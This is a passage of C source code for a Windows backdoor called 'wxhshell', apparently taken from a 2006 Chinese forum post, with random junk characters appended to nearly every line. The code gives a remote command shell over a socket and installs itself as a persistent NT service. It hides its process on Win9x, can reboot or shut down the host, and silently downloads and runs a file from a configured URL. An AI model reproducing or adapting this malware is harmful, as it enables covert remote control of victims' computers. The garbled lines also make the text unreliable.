  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Gf<Ql_.4  
  else d/7R}n^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o}v<~v(  
  } <-v zS;  
  else { m[}k]PB>  
Mp`$1Ksn  
    switch(cmd[0]) { S[zvR9AW&  
  5G`HJ6  
  // 帮助 !i;6!w  
  case '?': { l;iU9<~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mH$tG $  
    break; <Q~N9W  
  } r @4A% ql<  
  // 安装 t(#9.b`W)  
  case 'i': { 2t\0vV2)/O  
    if(Install()) e]RzvWq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<<4gXx  
    else ]@#9B>v=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |fgUW.  
    break; \_`qon$9  
    } )%K<pIk  
  // 卸载 !zX() V  
  case 'r': { L+8ar9es  
    if(Uninstall()) INN}xZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]kBY2c  
    else |Mb{0mKb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcdhOjz!N  
    break; ,u `xneOs  
    } ?P'$Vxl  
  // 显示 wxhshell 所在路径 <l<O2l  
  case 'p': { ]I\GnDJ^  
    char svExeFile[MAX_PATH]; =P(*j7=  
    strcpy(svExeFile,"\n\r"); ;bE/(nz M  
      strcat(svExeFile,ExeFile); ZA(u"T~  
        send(wsh,svExeFile,strlen(svExeFile),0); Z~J]I|R:  
    break; s* (a  
    } 6$R9Y.s>Z  
  // 重启 (03/4*g_s  
  case 'b': { S~Gse+*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FH=2, "A  
    if(Boot(REBOOT)) 3ay},3MCV%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XQy`5iv  
    else { zV&l^.  
    closesocket(wsh); 9^}&PEl  
    ExitThread(0); t1?aw<  
    } = QBvU)Ki  
    break; !/}3/iU  
    } pa!BJ]~  
  // 关机 8ZY]-%  
  case 'd': { E8!`d}\#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v)+g<!  
    if(Boot(SHUTDOWN)) bXs=<`>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%~ JG(  
    else { }^&S^N 7  
    closesocket(wsh); ~&<#H+O  
    ExitThread(0); 4CM'I~  
    } RCWmdR#}V  
    break; q^aDZzx,z  
    } UMGiJO\yH  
  // 获取shell 0fOhCxtL@  
  case 's': { ]*=4>(F[  
    CmdShell(wsh); gA2Wo+\^bq  
    closesocket(wsh); T`x|=}  
    ExitThread(0); c2P}P* _  
    break; JXc.?{LL  
  } (GC]=  
  // 退出 UY(T>4H+h  
  case 'x': { ;xwcK-A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $XF$ n#ua  
    CloseIt(wsh); PT~htG<Fw  
    break; pkn^K+<n,  
    } HA,o2jZ?In  
  // 离开 ~XOmxz0  
  case 'q': { v #+ECx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tAv3+  
    closesocket(wsh); aZmN(AJ8v  
    WSACleanup(); ,Wlt[T(.;  
    exit(1); /JR+WmO  
    break; 5NhFjPETr  
        } j*.;6}\o  
  } a}UmD HS-  
  }  cyl%p$  
,';|CGI cP  
  // 提示信息 {+J{t\`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJ5}c!o[  
} ZwUBeyxS=c  
  } ? "I %K%  
tl 0|.Q,  
  return; hE&6;3">  
} d>p' A_  
` s7pM  
// shell模块句柄 aw*]b.f  
int CmdShell(SOCKET sock) flmQNrC.8  
{ ^ptybVo  
STARTUPINFO si; JN wI{  
ZeroMemory(&si,sizeof(si)); kvwnqaX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iHPsRq!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]h S:0QE  
PROCESS_INFORMATION ProcessInfo; H!IVbL`a{  
char cmdline[]="cmd"; 9#z$GO|<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q<:8{Y|  
  return 0; aKj|gwo!  
} b? ); D  
]RT  
// 自身启动模式 s 47R,K$  
int StartFromService(void) wKM9fs  
{ >Z!!`0{  
typedef struct P73GH  
{ qX@e+&4P0  
  DWORD ExitStatus; 99=~vNn  
  DWORD PebBaseAddress; %/A>'p,~  
  DWORD AffinityMask; KfiSQ!{  
  DWORD BasePriority; ?#z$(upQ  
  ULONG UniqueProcessId; Py;5z  
  ULONG InheritedFromUniqueProcessId; 6}6Q:V|  
}   PROCESS_BASIC_INFORMATION; Q a (Sb  
+?*;#=q  
PROCNTQSIP NtQueryInformationProcess; 'ZF6Z9  
LzU'6ah';5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !y d B,S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d0>U-.  
ce;7  
  HANDLE             hProcess; HP8J\`  
  PROCESS_BASIC_INFORMATION pbi; R%jOgZG  
[D~]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nCq'=L,m  
  if(NULL == hInst ) return 0; 30sJ"hF9  
QD@O!}; T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <e UsMo<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MH.+pqIv^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6m_mma_,&  
j-K[]$  
  if (!NtQueryInformationProcess) return 0; H^-Y]{7  
:+"4_f0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MqZ"Js  
  if(!hProcess) return 0; 4t[7lL`Z  
U6&`s%mIa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,iyy2  
!,`'VQw$  
  CloseHandle(hProcess); :H&Q!\a  
uz!8=,DFw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ({E,}x  
if(hProcess==NULL) return 0; u !BU^@P  
}k }=e  
HMODULE hMod;  nYx /q  
char procName[255]; @\g}I`_M  
unsigned long cbNeeded; FsED9+/m  
!/p|~K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Q{lyu  
}h^ fX  
  CloseHandle(hProcess); 1K9.3n   
v[ iJ(C_  
if(strstr(procName,"services")) return 1; // 以服务启动 HgY@M  
"&={E{pQ  
  return 0; // 注册表启动 4;YP\{u  
} 8!2)=8|f  
sOLh'x f.  
// 主模块 |Y!^E % *  
int StartWxhshell(LPSTR lpCmdLine) )Eozo4~  
{ `Q*`\-8J  
  SOCKET wsl; {bXN[=j  
BOOL val=TRUE; *ak0(yLn)  
  int port=0; T ~xVHk1  
  struct sockaddr_in door; (u 7Lh>6%  
a[K&;)  
  if(wscfg.ws_autoins) Install();  qra XAQ  
x"z\d,O%W  
port=atoi(lpCmdLine); Ir JSU_  
g4^-B  
if(port<=0) port=wscfg.ws_port;  R[m-jUL  
GN|"RuQ  
  WSADATA data; j6l1<3j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |.c4y*  
%NkiYiA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *y4g\#o.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nuq@m0t\#  
  door.sin_family = AF_INET; A-r;5?S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h ;uzbu  
  door.sin_port = htons(port); i431mpMa  
T:Cq}4k<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :gsRJy1  
closesocket(wsl); |mH* I  
return 1; 5,;\zSz  
} 8[@,i|kgg0  
+'m9b7+v  
  if(listen(wsl,2) == INVALID_SOCKET) { XNa{_3v  
closesocket(wsl); Cj>HMB}  
return 1; &n1Vv_Lb  
} [k 7HLn)  
  Wxhshell(wsl); 8U@f/ P  
  WSACleanup(); t`6]eRR  
RFbf2s\t  
return 0; ;}Jv4Z  
~m fG Yk"  
} Q9cSrU[$  
qXtC7uNj$  
// 以NT服务方式启动 cpk\;1&t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !mK()#6  
{ Sd6O?&(  
DWORD   status = 0; W<q<}RSn  
  DWORD   specificError = 0xfffffff; % i?  
Py*WHHO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bg|$1ue  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j*QdD\)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S5JM t;O  
  serviceStatus.dwWin32ExitCode     = 0; )L&y@dy)  
  serviceStatus.dwServiceSpecificExitCode = 0; w yxPvI`   
  serviceStatus.dwCheckPoint       = 0; q&:7R .Ci  
  serviceStatus.dwWaitHint       = 0; &~eCDlX /  
[lIX&!T"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \8#[AD*@s2  
  if (hServiceStatusHandle==0) return; JcRxNH )<"  
 !y@\w  
status = GetLastError(); <Ch9"1f3,  
  if (status!=NO_ERROR) l'l&Zqd  
{ ?u2\ *@C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F(1E@xs  
    serviceStatus.dwCheckPoint       = 0; S<(i/5Z+  
    serviceStatus.dwWaitHint       = 0; p{oz}}  
    serviceStatus.dwWin32ExitCode     = status; pq0Z<b;2  
    serviceStatus.dwServiceSpecificExitCode = specificError; .+>fD0fW7Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { 5r]G  
    return; /'8%=$2Kw  
  } 3\Amj}RJ  
iJOoO"Ai  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5%D`y|  
  serviceStatus.dwCheckPoint       = 0; l8E))oz1T  
  serviceStatus.dwWaitHint       = 0; t5 >ma:^j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q2#Ebw %]  
} %rB,Gl:)g  
1a9' *[  
// 处理NT服务事件,比如:启动、停止 1!1,{\9%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8@vq.z}  
{ ;ZB=@@l(  
switch(fdwControl) Vw ;iE=L  
{ ot7f?tF2<J  
case SERVICE_CONTROL_STOP: to13&#o  
  serviceStatus.dwWin32ExitCode = 0; M"]?'TMfXc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <]?71{7X  
  serviceStatus.dwCheckPoint   = 0; HCr}|DxyK  
  serviceStatus.dwWaitHint     = 0; Ip{hg,>  
  { # N3*SE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MNU7OX<  
  } pej-W/R&  
  return; ExS&fUn `C  
case SERVICE_CONTROL_PAUSE: P [aE3Felk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t[k ['<G  
  break; h<3bv&oI .  
case SERVICE_CONTROL_CONTINUE: Hd4 ~v0eS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iM!V4Wih6  
  break; 3T(ft^~  
case SERVICE_CONTROL_INTERROGATE: !_Y%+Rkp0  
  break; ;nh_L(  
}; ],AtR1k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {31X  
} )[Rwc#PA;  
G>^= Bm_$  
// 标准应用程序主函数 q h bagw~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .\H-?6R^  
{ 5[\g87 \  
bLl ?!G.  
// 获取操作系统版本 PU ea`rE?R  
OsIsNt=GetOsVer(); ]l }v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "LYhYkI  
8;~,jZ s  
  // 从命令行安装 @/aJi6d"^E  
  if(strpbrk(lpCmdLine,"iI")) Install(); bHq.3;  
j^/<:e c.  
  // 下载执行文件 >WO;q  
if(wscfg.ws_downexe) { Lm$KR!z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Zpz@T>m  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y".?j5f?  
} Mb_"M7  
%Lx#7bR U  
if(!OsIsNt) { 1$))@K-I  
// 如果时win9x,隐藏进程并且设置为注册表启动 *#p}FB2H#  
HideProc(); Q$Qr)mcC  
StartWxhshell(lpCmdLine); :V"e+I  
} "@ZwDg`  
else TH>uL;?=  
  if(StartFromService()) @6_w{6:b  
  // 以服务方式启动 CZy!nR!  
  StartServiceCtrlDispatcher(DispatchTable); [ )X(Qtk  
else c(Xm~ 'jeH  
  // 普通方式启动 XwIHIG}  
  StartWxhshell(lpCmdLine); rU>l(O'b  
_ y'g11 \  
return 0; <F}j;mX  
}
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只看该作者 1 发表于: 2006-10-10
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